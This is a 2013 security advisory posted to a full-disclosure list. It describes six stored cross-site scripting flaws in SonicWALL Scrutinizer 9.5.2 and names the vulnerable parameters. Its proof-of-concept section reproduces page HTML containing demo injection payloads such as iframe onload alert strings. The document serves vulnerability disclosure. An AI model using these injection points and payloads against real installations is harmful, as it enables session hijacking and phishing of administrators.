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Message-ID: <511C30B1.700@vulnerability-lab.com>
Date: Thu, 14 Feb 2013 01:32:49 +0100
From: Vulnerability Lab <research@...nerability-lab.com>
To: full-disclosure@...ts.grok.org.uk
Subject: Sonicwall OEM Scrutinizer v9.5.2 - Multiple Web
Vulnerabilities
Title:
======
Sonicwall OEM Scrutinizer v9.5.2 - Multiple Web Vulnerabilities
Date:
=====
2013-02-14
References:
===========
http://www.vulnerability-lab.com/get_content.php?id=786
VL-ID:
=====
786
Common Vulnerability Scoring System:
====================================
4.2
Introduction:
=============
Dell™ SonicWALL™ Scrutinizer is a multi-vendor, flow-based application traffic analytics, visualization and reporting tool
to measure and troubleshoot network performance and utilization while increasing productivity for enterprises and service providers.
Scrutinizer supports a wide range of routers, switches, firewalls, and data-flow reporting protocols, providing unparalleled insight
into application traffic analysis from IPFIX/NetFlow data exported by Dell SonicWALL firewalls, as well as support for a wide range
of routers, switches, firewalls, and data-flow reporting protocols. IT administrators in charge of high throughput networks can
deploy Scrutinizer as a virtual appliance for high performance environments.
(Copy of the Vendor Homepage: http://www.sonicwall.com/us/en/products/Scrutinizer.html )
Abstract:
=========
The Vulnerability Laboratory Research Team discovered multiple web vulnerabilities in the Dell Sonicwall OEM Scrutinizer v9.5.2 appliance application.
Report-Timeline:
================
2012-12-05: Researcher Notification & Coordination
2012-12-07: Vendor Notification
2013-01-08: Vendor Response/Feedback
2013-02-10: Vendor Fix/Patch
2013-02-11: Public or Non-Public Disclosure
Status:
========
Published
Affected Products:
==================
DELL
Product: Sonicwall OEM Scrutinizer 9.5.2
Exploitation-Technique:
=======================
Remote
Severity:
=========
High
Details:
========
Multiple persistent input validation vulnerabilities are detected in the Sonicwall OEM Scrutinizer v9.5.2 appliance application.
The bugs allows remote attackers to implement/inject malicious script code on the application side (persistent).
The first persistent vulnerability is located in the Alarm - New Board & Policy Manager module with the bound vulnerable
Search item - BBSearchText parameter request. The vulnerability allows to inject persistent script code as search item value.
The result is the persistent execution of script code out of the BBSearchText listing.
The secound persistent vulnerability is located in the Dashboard - Flow Expert module with the bound vulnerable Mytab parameter.
The vulnerability allows to inject persistent script code as myTab link value. The result is the persistent execution of script
code out of the Mytab link listing.
The 3rd persistent vulnerability is located in the MyView (CGI) module with the bound vulnerable `newName` parameter request.
The vulnerability allows to inject persistent script code as newName. The result is the persistent execution of script code
out of the core value listing.
The 4th persistent vulnerability is located in the Admin > Admin [New Users & New Group] module with the bound vulnerable
groupName & username parameters. The vulnerability allows to inject persistent script code as username or groupname. The result
is the persistent execution of script code out of all username and group listings + checkboxes.
The 5th persistent vulnerability is located in the Admin > Admin [Mapping / Maps (CGI) - Dashboard Status] module with the bound
vulnerable groupMembers, Type, Checkbox Linklike, indexColumn, name, Object Name & settings groups(checkbox) parameters.
The vulnerability allows to inject persistent script code as groupMembers, Type, Checkbox Linklike, indexColumn, name, Object Name
& settings groups(checkbox) value(s). The result is the persistent execution of script code out of the groupMembers, Type, Checkbox
Linklike, indexColumn, name, Object Name listings and settings groups checkbox.
The 6th persistent vulnerability is located in the Alarms > Overview Bulletin Board > Advanced Filters module with the bound vulnerable
displayBBAdvFilterModal() - (Policy Name, Board Name, Violators) parameters. The vulnerability allows to inject persistent script code
as Policy Name, Board Name and Violator. The result is the persistent execution of script code out of the Policy Name, Board Name and
Violator listings.
Successful exploitation of the vulnerability can lead to persistent session hijacking (manager/admin), persistent phishing, persistent
external redirects to malware or scam and persistent web context manipulation in the affected vulnerable module(s). Exploitation requires
low user interaction & a low privileged appliance web application user account.
Vulnerable Section(s):
[+] Alarm
[+] Dashboard
[+] MyView (CGI)
[+] Admin > Admin
[+] Admin > Admin
[+] Alarms
Vulnerable Module(s):
[+] New Board & Policy Manager
[+] Flow Expert
[+] Value
[+] New Users & New Group
[+] Mapping / Maps (CGI) - Dashboard Status
[+] Overview Bulletin Board > Advanced Filters
Vulnerable Parameter(s):
[+] Search item - BBSearchText
[+] Mytab
[+] newName
[+] groupName & username - Place in Usergroup - Listing
[+] groupMembers, Type, Checkbox Linklike, indexColumn, name, Object Name & settings groups(checkbox)
[+] displayBBAdvFilterModal() - (Policy Name, Board Name, Violators)
Proof of Concept:
=================
The persistent input validation web vulnerabilities can be exploited by remote attackers with low privileged application user account
and low required user interaction. For demonstration or reproduce ...
Review: Alarm > New Board & Policy Manager - [BBSearchText] Search item
<td class="textRight agNoWrap">
<input id="BBSearchText" title="Search item" value="<<[PERSISTENT INJECTED SCRIPT CODE!];)" <="""=""></iframe>
<input class="button" id="BBSearchButton" value="Search" title="Search" onclick="bbSearch(this)" type="button">
<input class="button" onclick="displayBBAdvFilterModal()" title="Search using multiple criteria" value="Advanced Filters" type="button">
Review: Dashboard > Flow Expert > Mytab - [Mytab Name]
<div><span class="myv_tab"><span tid="1" style="margin-left: 10px; margin-right: 10px;">Flow Expert</span></span>
<span class="myv_tab"><span tid="2" style="margin-left: 10px; margin-right: 10px;">Configure Flow Analytics</span></span>
<span class="myv_tab"><span tid="3" style="margin-left: 10px; margin-right: 10px;">CrossCheck</span></span><span class="myv_tab">
<span tid="4" style="margin-left: 10px; margin-right: 10px;">Example</span></span><span class="myv_tab"><span tid="5" style="margin-left:
10px; margin-right: 10px;">Cisco PfR</span></span><span class="myv_tab"><span tid="6" style="margin-left: 10px; margin-right:
10px;">Training</span></span><span class="myv_selectedtab"><span title="Click to rename" class="jedit" id="tab_7"
origname="My New Tab"><[PERSISTENT INJECTED SCRIPT CODE!]">%20%20%20%20"><[PERSISTENT INJECTED SCRIPT CODE!]") <</iframe></span>
<img style="margin-left: 6px; cursor: pointer;" src="Scrutinizer%20%29%20Dashboard-Dateien/tab-edit.gif"></span><span class="add_tab">
<span style="margin-left: 6px; cursor: pointer;">Add a tab</span></span></div>
Review: MyView (CGI) > Value - [newName]
<html><head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8"></head>
<body>{"newName":"<[PERSISTENT INJECTED SCRIPT CODE!]"> \"><[PERSISTENT INJECTED SCRIPT CODE!]") <"}</iframe></body>
</html>
Review: Admin > Admin > New Users & New Group - [groupname, up_availGroups & username - Place in Usergroup - Listing]
<div class="unfortunate" style="" id="settingsContent">
<div id="settingsHeader"></div>
<div id="settingsOutput">
<title>User Preferences</title>
<div id="mainFrame">
<div style="height: 552px;" id="upMenu"><div class="basic ui-accordion selected" style="float:left;" id="upTreeMenu">
<a class="selected"> New User</a><div style="height: 511px; display: block; overflow: hidden;" class="genericAccordionContainer">
<p style="padding-left: 10px;" id="new_user_panel"><label>Username: <input class="newform" id="new_username"
type="text"></label><label>Password <input class="newform" id="new_password" type="password"><img id="pw_strength" src="/images/common/strength_0.gif"></label><label>Confirm Password: <input class="newform" id="cnf_password" type="password">
</label><label style="margin-top: 5px; margin-bottom: 8px;" id="up_availGroupsLbl">Place in User Group <select style="display: block;"
id="up_availGroups"><option value="3"><iframe src="a"> "><[PERSISTENT INJECTED SCRIPT CODE!]") <</iframe></option>
<option value="1">Administrators</option><option value="2">Guests</option></select></label>​​​​​<input value="Create User" class="button"
style="margin-top: 3px;" type="button"></p></div><a class=""> Users</a><div style="height: 511px; display: none; overflow: hidden;"
class="genericAccordionContainer"><p id="users_p"><span class="menuLink">admin</span></p></div></div></div>
Review: Admin > Admin > Mapping/Maps (CGI) - Dashboard Status - [groupMembers, Type, Checkbox Linklike, indexColumn,name,ObjectName & settings groups]
<div class="fmapsScroll" id="groupScroll"><table class="dataTable filterable" id="grpTable"><tbody id="grpTbody"><tr id="grpTblHdr">
<th width="20"><input id="checkAllObj" name="checkAllObj" title="Permanently delete groups" type="checkbox"></th><th style="width: 100%;"
class="alignLeft">Group Name</th><th width="40">Type</th><th width="40">Membership</th><th width="40">Map Status</th></tr><tr id="grp_tr1">
<td><input title="Permanently delete this object from ALL groups" name="1" type="checkbox"></td><td class="alignLeft"><a title="Click here to edit
this group" href="#NA" class="linkLike"><iframe src="a">%20%20%20%20[PERSISTENT INJECTED SCRIPT CODE!]"><ifra...</iframe></a>
</td><td>Google</td><td><a title="Click to change object
membership for this group" class="linkLike">Membership</a></td><td><select id="pass_1" class="passSel"><option value="0">No Pass</option>
<option value="1">Pass Up</option></select></td>
<td style="display: none;" class="indexColumn">%20%20%20%20[PERSISTENT INJECTED SCRIPT CODE!]"><ifra...googlemembershipno
passpass up</td></tr></tbody></table></div><input style="margin-top: 10px; margin-left: 8px;" id="delObjectBtn" value="Delete" class="button"
type="button"><div id="editGrpDiv"><div id="obj_typeForm"><div id="iconPreview"><img src="/images/maps/group16.png" id="previewImage"></div>
<div id="toGroupMsg"></div><select style="margin-left: 30px; margin-bottom: 5px; width: 159px;" id="obj_iconSelect" name="icon"><option
value="gicon16.png">gicon16.png</option><option value="gicon24.png">gicon24.png</option><option value="gicon32.png">gicon32.png</option>
<option value="gicon48.png">gicon48.png</option><option value="gicon72.png">gicon72.png</option><option value="group16.png">group16.png</option>
<option value="group24.png">group24.png</option><option value="group32.png">group32.png</option><option value="group48.png">group48.png</option>
<option value="group72.png">group72.png</option></select></div><table id="editGroupTable" class="dataTable"><tbody><tr id="grpTypeRow">
<td class="alignLeft cellHeader">Type</td><td class="alignLeft"><select id="edit_grpType"><option value="flash">Flash</option>
...
<table class="dataTable" id="fmaps_mapTabList" width="100%"><thead><tr>​​​​​<th style="white-space: nowrap;" nowrap="">Map</th>
<th style="white-space: nowrap;" nowrap="">Type</th><th style="white-space: nowrap;" nowrap="">Background</th></tr></thead><tbody>
<tr><td class="" style="white-space: nowrap; padding-right: 5px;" align="left" nowrap=""><a href="#NA"><iframe src="a">%20%20%20%20">
<iframe src=a onload=alert("VL") <</iframe></a></td><td class="" style="white-space: nowrap;" align="left" nowrap="" width="100%">Google</td>
​​​​​<td class="" align="center">-</td></tr></tbody></table>
...
<tbody id="objTbody"><tr id="objTblHdr"><th width="20"><input id="checkAllObj" name="checkAllObj" type="checkbox"></th><th width="20">
</th>​​​​​<th style="width: 100%;" tf_colkey="objName" class="alignLeft">Object Name</th><th style="text-align: center;" align="center" nowrap="">
Type</th><th width="20">Membership</th></tr><tr id="obj_tr1"><td class="fmaps_bakTrHi highlightRow"> </td><td class="fmaps_bakTrHi
highlightRow"><img class="listIcon" src="/images/maps/gicon24.png"></td><td class="alignLeft fmaps_bakTrHi highlightRow"><a title="Click to edit
this object" href="#NA"><iframe src="a">%20%20%20%20"><iframe src=...</iframe></a></td><td class="fmaps_bakTrHi highlightRow" nowrap="">
<span style="cursor:default;">Group</span></td><td class="fmaps_bakTrHi highlightRow"><a title="Click to change group membership for this object"
class="linkLike">Membership</a>​​​​​</td><td style="display: none;" class="indexColumn fmaps_bakTrHi
highlightRow"> %20%20%20%20"><iframe src=...groupmembership</td></tr></tbody>
...
<td style="padding-right: 1px; padding-bottom: 1px; padding-left: 1px;" id="fmaps_confBody" valign="top"><div style="height: 19px;"
id="fmaps_containerTitle" class="titleBar">​​​​​<span style="float:left" ;="">Settings</span><img title="Map Settings Help"
src="/images/common/help.png"><select id="fmaps_groupSelect">
<option class="google" value="1"><iframe src="a">%20%20%20%20"><iframe src=a onload=alert("VL") < (google)
</iframe></option></select></div>​​​​​<div id="fmaps_confBodyContainer"><div id="defaultsContainer">
...
<li class="expandable noWrapOver " groupid="g1"> <div class="hitarea expandable-hitarea "> </div> ​​​​​<img src="/images/common/gicon.png"
gid="1" title="<iframe src=a>%20%20%20%20">​​​​​<iframe src="a" onload="alert("VL")" <="" (group="" id:="" 1)"=""></iframe>
<span id="sdfTreeLoadG" class="" title="<iframe src=a>%20%20%20%20"><iframe src=a onload=alert("VL") < (Group ID: 1)"
gid="1"><iframe src="a">%20%20%20...</span>
<ul style="display: none;">
<li>Loading...</li>
</ul>
</li>
<li class='expandable noWrapOver lastExpandable'>
<div class='hitarea expandable-hitarea lastExpandable-hitarea'> </div> <img src='/images/common/TreeUngroupGray.png'/><span class="">Ungrouped</span>
<ul style="display: none;">
<li class="last"><span class=" ">No Devices</span></li>
</ul>
</li>
</ul>
</iframe></span></li>
Solution:
=========
2013-02-10: Vendor Fix/Patch
Where changing code paths to use bound variables was not practical in such a short timeframe, we pass inputs included in a query through a function that escapes potentially dangerous characters.
Risk:
=====
The security risk of the persistent input validation web vulnerabilities are estimated as medium(+)|(-)high.
Credits:
========
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@...nerability-lab.com)
Disclaimer:
===========
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